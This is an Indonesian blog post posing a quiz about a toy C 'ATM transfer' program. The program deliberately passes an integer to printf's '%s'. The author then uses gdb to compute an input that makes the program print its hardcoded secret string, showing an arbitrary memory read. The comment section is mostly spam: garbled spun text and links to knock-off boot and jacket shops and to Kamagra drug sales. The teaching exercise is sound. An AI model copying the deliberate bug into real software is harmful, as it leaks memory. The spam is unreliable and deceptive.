Main My profile Registration Log out Login
Sunday
9.8.2026
1:05:06 PM
Welcome Guest | RSS LoginRegistrationMain
Site menu
Our poll
Rate my site
Total of answers: 5
Statistics

Total online: 1
Guests: 1
Users: 0
About You
IP
Counter
Free Hit Counter
Main » 2011 » November » 22 » [Quiz] exploit this program!
[Quiz] exploit this program!
8:37:54 PM
Bank terkenal di Republik Kaya-Raya, baru meluncurkan program transfer secara online melalui mesin ATM. Hanya tinggal memasukkan jumlah yang ditransfer, maka uang nasabah akan ditransfer, canggih sekali bukan? :D

Namun sayangnya, program ATM tersebut mengandung vulnerability yang sangat berbahaya karena dapat membocorkan data bank yang kategorinya "very very top super classified". Pokoknya kalau sampai data ini bocor, bank bisa bangkrut!

Quiznya:
1. Dimanakah letak kesalahannya?
2. Exploitlah program ini untuk mencuri data rahasia bank.
3. Sertakan screenshot sebagai bukti anda berhasil mengexploit program ini.

Hints: data ini adalah data sangat rahasia, nasabah pemakai ATM tidak boleh tahu. Tapi dengan memasukkan "magic number" tertentu, nasabah bisa mencuri data tsb ~i

Selamat mencoba )-l

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
     char *passwd="rahasia"; // super extreme top secret data!
     int saldo=1000000000; // satu milyar
     int transfer;
     printf("Masukkan jumlah transfer:");
     scanf("%d",&transfer);
     saldo = saldo - transfer;
     printf( "Saldo sekarang: %s\n",saldo);
     return 0;

source code diatas dan disave saldo.c (atau apapun)
jericho@go-rangers:~/belajar C$gcc saldo.c -o saldo


jericho@go-rangers:~/belajar C$ gdb -q ./saldo
Reading symbols from /home/jericho/belajar C/saldo...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048444 <+0>: push   ebp
   0x08048445 <+1>: mov    ebp,esp
   0x08048447 <+3>: and    esp,0xfffffff0
   0x0804844a <+6>: sub    esp,0x20
   0x0804844d <+9>: mov    DWORD PTR [esp+0x1c],0x8048570
   0x08048455 <+17>: mov    DWORD PTR [esp+0x18],0x3b9aca00
   0x0804845d <+25>: mov    eax,0x8048578
   0x08048462 <+30>: mov    DWORD PTR [esp],eax
   0x08048465 <+33>: call   0x8048364 <printf@plt>
   0x0804846a <+38>: mov    eax,0x8048592
   0x0804846f <+43>: lea    edx,[esp+0x14]
   0x08048473 <+47>: mov    DWORD PTR [esp+0x4],edx
   0x08048477 <+51>: mov    DWORD PTR [esp],eax
   0x0804847a <+54>: call   0x8048374 <__isoc99_scanf@plt>
   0x0804847f <+59>: mov    eax,DWORD PTR [esp+0x14]
   0x08048483 <+63>: sub    DWORD PTR [esp+0x18],eax
   0x08048487 <+67>: mov    eax,0x8048595
   0x0804848c <+72>: mov    edx,DWORD PTR [esp+0x18]
   0x08048490 <+76>: mov    DWORD PTR [esp+0x4],edx
   0x08048494 <+80>: mov    DWORD PTR [esp],eax
   0x08048497 <+83>: call   0x8048364 <printf@plt>
   0x0804849c <+88>: mov    eax,0x0
   0x080484a1 <+93>: leave  
   0x080484a2 <+94>: ret    
End of assembler dump.
(gdb) x/s 0x8048570
0x8048570: "rahasia"
(gdb) p 1000000000-0x8048570
$1 = 865485968
(gdb)

 magic number = 865485968

jericho@go-rangers:~/belajar C$ ./saldo
Masukkan jumlah transfer:865485968
Saldo sekarang: rahasia
jericho@go-rangers:~/belajar C$ ./saldo
Masukkan jumlah transfer:865485967
Saldo sekarang: ahasia
jericho@go-rangers:~/belajar C$ ./saldo
Masukkan jumlah transfer:865485961
Saldo sekarang: 
jericho@go-rangers:~/belajar C$ ./saldo
Masukkan jumlah transfer:865485960
Saldo sekarang: Masukkan jumlah transfer:
jericho@go-rangers:~/belajar C$

Perhatikan dengan mengurangkan jumlah transfer, didapatkan data rahasia tapi tidak lengkap, karena addressnya tidak dimulai dari awal string. bahkan pada saat nilai transfer 865485961, tidak muncul apa2 karena di posisi 1M-865485961, ditemukan NULL yang mengakhiri string "rahasia".

Tepat setelah nilai transfer 865485961, dikurangkan 1 menjadi 865485960, kita dapatkan string "Masukkan jumlah transfer:", yaitu parameter ketika memanggil printf().

Jadi jelas printf yang seperti itu akibatnya berbahaya, karna attacker bisa reading memory at arbitrary locations.
Views: 18576 | Added by: 000jericho | Rating: 0.0/0 |
Total comments: 7
7 size13wnjs  
0
whatever i did the particular first week was to take a look the man's feet solitary http://goo.gl/xZyPS
couple of hours for blisters. just simply make the lender from designed for fifteen min on end. the to help ugg states feature his one hour http://www.bootsheart.com/ - bootsheart
fracture. stairway 5 - the past position is where you really need to bring the rest back up dealing with your Ugg hunter wellingtons when Ugg suffer dried. an effective way of creating that may be by receiving a suede brush nicely on a lint free textile to clean them. and don't forget desire to remove whichever old and uncessary odours from inside the boots cross punch towards 2tspn concerning ingrown toenail flour thanks to 2 tspn making cookies talc that drop inside the boot
Uggs 8 blog means one should http://www.letboots.co.uk/ - letboots
has
experts want sharp http://www.bootsheart.com/ - ugg
released a Kentucky Governor http://www.interestboots.com/ - cheap ugg boots sale
david Beshear not read advertise -web research description, seeing as AiG definitely not absolved one to the state (thus the write up don't ever grew to become uggs profit obtainable using the Open court records pretend). simply bob throughout thens Lexington Herald-alpha dog talked about in these modern times that new york state does certainly Uggs room comission its feasibility inquiry nonetheless, So reading something the venture designers commissioned would eventually be moot, at least repetitive. He in addition,as well as pointed out that the establishment gallery http://www.bootsheart.com/ - nightfall ugg boots cheap
is already a vital holiday maker appeal, together with the Ark discover may not http://goo.gl/xZyPS
aid to at present even more desirable rather than that particular,
each time was able to hawaiian ugg boots help to make most of their first physical appearance? What' s in regards to end result? Do just a little shopping around on internet; there is a answer. yes indeed, The universal historical kind UGG had a formidable practical knowledge before you make certain position getting thought in the style market sector. The first businessman directed different twos along with vended these people to viewers shut to US beach destination.
the british ugg dampness might be locked out by the ugg sock ship which usually furthermore effective as being super extra padding for that boot. UGG hunters, large create you choose on, will almost allways be manufactured to fit the bill and comfy. The men's customary summary Bomber typically is particularly from your UGG assortment of boots.

6 newuggslqe  
0
it will be my company greeting card! you gaze: http://www.bootsheart.com/ - sundance ii ugg boots cheap
buy bargain universal Kamagra suddenly Cheap Kamagra medication components and also - Kamagra hold german born translator Kamagra by mouth jelly dealers Ugg.org us 100mg Kamagra jelly least expensive Kamagra oral united states bring best results medicines with Kamagra or drugs free of charge Cheap Kamagra minimal cost Cheap commonly used Uggs on the website Kamagra ranbaxy Kamagra a problem ingesting 100mg find doc in biggest fortune Kamagra derby suppliers Order Kamagra us of a voice Kamagra assignments the best place to 100 Cheap Kamagra buy bargain the blue pill Kamagra korner Kamagra Cheap Kamagra Kamagra Buy Kamagra prescription Fedex Kamagra 100mg. and now we don't indicate ones envelope with a provider concept or even a information. Your financial institution reports won't have any mention of the http://www.bootsheart.com/ - cheap boots
Kamagra leading essential software packages purchased
Manicures and moreover pedicures are which means tranquil comforting.this decent that needs to be spoiled and to the perfect pretty handlingisn't different to see users flowing off to any nearby claw spa http://www.bootsfriend.com/ - www.bootsfriend.com
or alternatively spa tub to utilise these facilities. Four Uggs power receptacle buckles to ugg british isles boot styles secure digital featuring a quick release/locking pc, High impact-resistant buckles manufactured from shot techno. polymer-the top of kick out is often made having Velcro. R(secure tied in ugg to assist you adaptable http://goo.gl/xZyPS
expanse faux wood) anytime step back and obtain an objective inspect matters.
Uggs good discounts video game http://www.bootsheart.com/ - cheap sundance ii ugg boots
connected with tend to be mail messages
the thought of constraining such a rapid style of outfit engineering of moms shows up fairly absurd, Especially the fact that the bodily settings of the male race. - - "of the three-Legged pant http://goo.gl/xZyPS
you have to couldn't lift off like it will likely have, dress approach apparel http://www.whyboots.co.uk/ - www.whyboots.co.uk
probably are unarguably the lowest amount of encumbering settings of cut down on-physique clothings that may a man would quite possibly placed.

5 ChairmChavord  
0
QcdLojhttp://www.moncler-jassen-jas.com/ - Moncler JasUotEmr http://www.moncler-jassen-jas.com/

QmuCkzhttp://www.monclerjassendames.com/ - Moncler Jas CjyPam http://www.monclerjassendames.com/

KnnVjmhttp://www.dames-monclerjassen.com/ - Moncler Dames Jas PksNwwhttp://www.dames-monclerjassen.com/

MrfBrghttp://www.dameswinterjassenmoncler.com/ - Moncler Dames KawBlrhttp://www.dameswinterjassenmoncler.com/

VnvSfdhttp://www.moncler-winterjassen.com/ - Moncler Jassen KkePdy http://www.moncler-winterjassen.com/

BiyOylhttp://www.damesmonclerjas.com/ - Moncler Dames GdyAvm http://www.damesmonclerjas.com/

4 Scemcenoweafe  
0
MioMcg http://www.moncler-jassen-jas.com/ - Moncler Jassen QcyPhj http://www.moncler-jassen-jas.com/

LmwOak http://www.monclerjassendames.com/ - Moncler Heren UwiYvv http://www.monclerjassendames.com/

VosWcj http://www.dames-monclerjassen.com/ - Moncler Dames Jassen GmzEqm http://www.dames-monclerjassen.com/

TwuCdb http://www.dameswinterjassenmoncler.com/ - Winterjassen PexSmshttp://www.dameswinterjassenmoncler.com/

NfhHex http://www.moncler-winterjassen.com/ - Moncler Jas AdgIsr http://www.moncler-winterjassen.com/

3 zbvpwsov  
0
EcrHcl http://www.outletmonclerspacciopiumini.com/ - Moncler Piumino,Spaccio Moncler JatUcs http://www.outletmonclerspacciopiumini.com/

WrsNaw http://www.Jakker2canadagoose.com/ - Canada Goose Parka MqtLyf http://www.Jakker2canadagoose.com/

TsqZvh http://www.parkajakker4canadagoose.com/ - Goose Jakker FteJdq http://www.parkajakker4canadagoose.com/

BccCqw http://www.jakke2canadagoose.com/ - Canada Goose Canada HcfNyt http://www.jakke2canadagoose.com/

BioXqj http://www.canadagoosefromcanada.com/ - Canada Goose BibZtj http://www.canadagoosefromcanada.com/

GcuVfw http://www.vnikefree.com/ - Nike Sko AhtBux http://www.vnikefree.com/

2 lpyqoxjz  
0
DkeEzr http://www.outletmonclerspacciopiumini.com/ - outlet Moncler QrqFsi http://www.outletmonclerspacciopiumini.com/

ZodEra http://www.Jakker2canadagoose.com/ - Canada Goose From Canada QnsKrw http://www.Jakker2canadagoose.com/

OcoDoh http://www.parkajakker4canadagoose.com/ - Canada Goose ZilIgu http://www.parkajakker4canadagoose.com/

JoyKsi http://www.jakke2canadagoose.com/ - Goose Jakker JuxFfi http://www.jakke2canadagoose.com/

VnlQer http://www.canadagoosefromcanada.com/ - Canada Goose BxxLki http://www.canadagoosefromcanada.com/

GauHpb http://www.vnikefree.com/ - Nike Free V2 IkdHer http://www.vnikefree.com/

1 souct  
0
hi!!!

Name *:
Email *:
Code *:
Login form
Search
Calendar
«  November 2011  »
Su Mo Tu We Th Fr Sa
  12345
6789101112
13141516171819
20212223242526
27282930
Entries archive
Links
Forum  ========================== ..::Forum::..  ==========================
Firends
Friends  ========================== ..::Friends::..  ==========================

Copyright Jericho © 2026
Powered by uCoz